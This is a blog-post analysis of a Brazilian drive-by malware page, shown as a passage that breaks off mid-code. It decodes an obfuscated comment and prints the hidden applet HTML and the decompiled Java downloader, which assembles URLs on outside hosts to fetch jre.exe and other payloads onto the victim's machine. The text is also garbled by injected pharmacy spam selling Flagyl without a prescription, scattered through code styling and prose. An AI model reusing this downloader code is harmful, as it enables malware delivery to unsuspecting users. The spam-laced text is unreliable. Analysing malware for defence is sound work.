<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 182:</span>         f();</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 183:</span>     }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 184:</span> }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 185:</span> WindowOnload(JSM_onCreate);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 186:</span> setTimeout(<span style="color: #006080">&quot;JSM_onCreate()&quot;</span>, 7000);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 187:</span> <span style="color: #008000">/*</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 188:</span> <span style="color: #008000">msg = d_hex( d_b64( ?. ) );</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 189:</span> <span style="color: #008000">NTM2MTc1NjQ2MWU3ZjU2NTczMjA2MTZmNzMyMDZkNjU3NTczMjA2MzZmNmM2NTY3NjE3MzIwNjQ2</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 190:</span> <span style="color: #008000">NTIwNzQ3MjYxNjI2MTZjNjg2ZjIwNjQ2ZjIwNjI2YzZmNjcyMDYzNzI2OTZkNjU3MzYzNjk2MjY1</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 191:</span> <span style="color: #008000">NzI2ZTY1NzQ2OTYzNmY3MzJlNjM2ZjZkMmUwZDBhNTM2MTYyNjU2ZTY0NmYyMDcxNzU2NTIwNmU2</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 192:</span> <span style="color: #008000">MTY0NjEyMDczNjE2MjY1NmQ2ZjczMjA2NTczNzQ2MTZkNmY3MzIwNjE2Y2U5NmQyMDY0NmYyMDYy</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 193:</span> <span style="color: #008000">NjU2ZDIwNjUyMDY0NmYyMDZkNjE2YzJjMjA2MTY2Njk2ZTYxNmMyMDYxMjBmYTZlNjk2MzYxMjA2</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, <b>online Flagyl without a prescription</b>, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 194:</span> <span style="color: #008000">MzZmNjk3MzYxMjA2MTYyNzM2ZjZjNzU3NDYxMjBlOTIwNzE3NTY1MjA3NDc1NjQ2ZjIwZTkyMDcy</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 195:</span> <span style="color: #008000">NjU2YzYxNzQ2OTc2NmYyZTBkMGE1NTZkMjA2MTYyNzI2MWU3NmYyYzIwNjQ2ZjIwNzM2NTc1MjA2</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 196:</span> <span style="color: #008000">MTZkNjk2NzZmMjA1MDczNzk2MzY4NmM2ZjJlMGQwYTYyNzkyMDUwNzM3OTYzNjg2YzZmMjAyZDIw</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 197:</span> <span style="color: #008000">MzEzMTJmMzEzMTJmMzEzMQ==</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 198:</span> <span style="color: #008000"></span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, <b>Flagyl duration</b>, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 199:</span> <span style="color: #008000">*/</span></pre>  </div></div></p>
<p><p>&#160;</p></p>
<p><p>Now, some parts are more interesting than others.&#160; The end if the file just seems base64 encoded…cause it is.&#160; OK un-base64, you get a wall of numbers.&#160;&#160; But there is a clue in the d_hex function (that doesn’t exist), so we are assuming it is hex.&#160; Convert the tex to text and you see this:</p></p>
<p><blockquote>  <p>Saudações aos meus colegas de trabalho do blog crimesciberneticos.com.<br />
    <br />Sabendo que nada sabemos estamos além do bem e do mal, afinal a única coisa absoluta é que tudo é relativo.</p>
<p>    <br />Um abraço, do seu amigo Psychlo.</p>
<p>    <br />by Psychlo - 11/11/11</p></blockquote></p>
<p><p>Via Google translate you find this is Portuguese which I’m sure would make some of my Portuguese friends happy.&#160; Actually, if you want it to be hard to untranslate, use a language no one knows anymore, like Fries or <a href="http://en.wikipedia.org/wiki/Gronings">Gronings</a>!&#160; Cause you know every girl wants to hear, “Hey babe, I speak <a href="http://en.wikipedia.org/wiki/Gronings">Gronings</a>.”&#160; <sup>Note: my mother speaks Gronings.</sup></p></p>
<p><blockquote>  <p>Greetings to my coworkers crimesciberneticos.com blog.<br />
    <br />Knowing that we know nothing beyond good and evil, <b>purchase Flagyl</b>, after all the only thing absolute is that everything is relative.</p>
<p>    <br />A hug, your friend Psychlo.</p>
<p>    <br />by Psychlo - 11/11/11</p></blockquote></p>
<p><p>&#160;</p></p>
<p><p>Anyway, one of the things this code is trying to do is run a Java applet.&#160; But do take a look that the rest of that code, some of it will come in handy later.</p></p>
<p><p>&#160; Here is where that is happening:</p></p>
<p><div style="border-bottom: gray 1px solid; border-left: gray 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; max-height: 200px; font-size: 8pt; overflow: auto; border-top: gray 1px solid; cursor: text; border-right: gray 1px solid; padding-top: 4px">  <div style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px">    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   1:</span> <span style="color: #0000ff">function</span> JSM_getAppletHtml() {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, <b>Flagyl without a prescription</b>, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   2:</span>     <span style="color: #0000ff">return</span> <span style="color: #006080">'&lt;applet name=&quot;*ATENÇÃO* Atualização de Segurança Clique em EXECUTAR !!&quot; code=&quot;a.class&quot; archive=&quot;'</span> + JSM_getAppletURL() + <span style="color: #006080">'?r='</span> + Math.floor(100000 + (Math.random() * 999999 + 1)) + <span style="color: #006080">'&quot; width=&quot;0&quot; height=&quot;0&quot;  style=&quot;visibility: hidden&quot;&gt;        &lt;param name=&quot;l&quot; value=&quot;http://smsfame.com/Get/Get.php?a=jre.exe&quot;&gt;&lt;/param&gt;&lt;/applet&gt;'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   3:</span> }</pre>  </div></div></p>
<p><p>Which is indirecteeze for:</p></p>
<p><div style="border-bottom: gray 1px solid; border-left: gray 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; max-height: 200px; font-size: 8pt; overflow: auto; border-top: gray 1px solid; cursor: text; border-right: gray 1px solid; padding-top: 4px">  <div style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px">    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   1:</span> &lt;applet name=<span style="color: #006080">&quot;*ATENÇÃO* Atualização de Segurança Clique em EXECUTAR !!&quot;</span> code=<span style="color: #006080">&quot;a.class&quot;</span> archive=<span style="color: #006080">&quot;http://advancedqualitysystem.com/Get/Get.php?a=/a1.jar?r=976646&quot;</span> width=<span style="color: #006080">&quot;0&quot;</span> height=<span style="color: #006080">&quot;0&quot;</span>  style=<span style="color: #006080">&quot;visibility: hidden&quot;</span>&gt;        &lt;param name=<span style="color: #006080">&quot;l&quot;</span> value=<span style="color: #006080">&quot;http://smsfame.com/Get/Get.php?a=jre.exe&quot;</span>&gt;&lt;/param&gt;&lt;/applet&gt;</pre>  </div></div></p>
<p><p>OK, now I have the url for the Java applet, plus the entry point class (a.class).&#160;&#160; I can download that now.&#160; With the applet in hand, <b>generic Flagyl</b>, a Java applet is a zip file (funny things you remember from Comp Sci class in 1996), grab the *.class files, find a Java Decompiler and away we go.</p></p>
<p><p>You get 5 classes:</p></p>
<p><p>a.java</p></p>
<p><div style="border-bottom: gray 1px solid; border-left: gray 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; max-height: 200px; font-size: 8pt; overflow: auto; border-top: gray 1px solid; cursor: text; border-right: gray 1px solid; padding-top: 4px">  <div style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px">    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   1:</span> import java.applet.Applet;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   2:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, <b>Where to buy Flagyl</b>, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   3:</span> <span style="color: #0000ff">public</span> <span style="color: #0000ff">class</span> a extends Applet</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   4:</span> {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   5:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   6:</span>     <span style="color: #0000ff">public</span> a()</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   7:</span>     {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, <b>Flagyl samples</b>, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   8:</span>     }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   9:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  10:</span>     <span style="color: #0000ff">public</span> <span style="color: #0000ff">void</span> init()</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  11:</span>     {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  12:</span>         c_gP c_gp = <span style="color: #0000ff">new</span> c_gP();</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, <b>Rx free Flagyl</b>, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  13:</span>         c_ed c_ed1 = <span style="color: #0000ff">new</span> c_ed();</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  14:</span>         c_js c_js1 = <span style="color: #0000ff">new</span> c_js();</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  15:</span>         String s = (<span style="color: #0000ff">new</span> StringBuilder()).append(c_gp.gP(8)).append(<span style="color: #006080">&quot;.&quot;</span>).append(<span style="color: #006080">&quot;ln&quot;</span>).append(<span style="color: #006080">&quot;k&quot;</span>).toString();</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  16:</span>         String s1 = (<span style="color: #0000ff">new</span> StringBuilder()).append(c_gp.gP(8)).append(<span style="color: #006080">&quot;.l&quot;</span>).append(<span style="color: #006080">&quot;n&quot;</span>).append(<span style="color: #006080">&quot;k&quot;</span>).toString();</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  17:</span>         <span style="color: #0000ff">try</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  18:</span>         {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, <b>order Flagyl from United States pharmacy</b>, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  19:</span>             String s2 = System.getenv(<span style="color: #006080">&quot;ALLUSERSPROFILE&quot;</span>);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  20:</span>             String s3 = getParameter(<span style="color: #006080">&quot;l&quot;</span>);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  21:</span>             <span style="color: #0000ff">if</span>(s2 != <span style="color: #0000ff">null</span>)</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  22:</span>             {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  23:</span>                 String s4 = <span style="color: #006080">&quot;ht&quot;</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, <b>Order Flagyl online overnight delivery no prescription</b>, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  24:</span>                 String s5 = <span style="color: #006080">&quot;tp&quot;</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  25:</span>                 String s6 = <span style="color: #006080">&quot;:&quot;</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  26:</span>                 String s7 = <span style="color: #006080">&quot;//&quot;</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  27:</span>                 String s8 = <span style="color: #006080">&quot;dl&quot;</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  28:</span>                 String s9 = <span style="color: #006080">&quot;.drop&quot;</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  29:</span>                 String s10 = <span style="color: #006080">&quot;box.&quot;</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, <b>Flagyl images</b>, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  30:</span>                 String s11 = <span style="color: #006080">&quot;com/u/41185898/&quot;</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  31:</span>                 String s12 = <span style="color: #006080">&quot;a.gif&quot;</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  32:</span>                 c_ed1.ed((<span style="color: #0000ff">new</span> StringBuilder()).append(s4).append(s5).append(s6).append(s7).append(s8).append(s9).append(s10).append(s11).append(s12).toString(), (<span style="color: #0000ff">new</span> StringBuilder()).append(s2).append(<span style="color: #006080">&quot;\&quot;).append(s1).toString(), this);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  33:</span>                 c_ed1.ed(s3, (new StringBuilder()).append(s2).append(&quot;</span>\<span style="color: #006080">&quot;).append(s).toString(), <b>Buy cheap Flagyl no rx</b>, this);</pre></p>
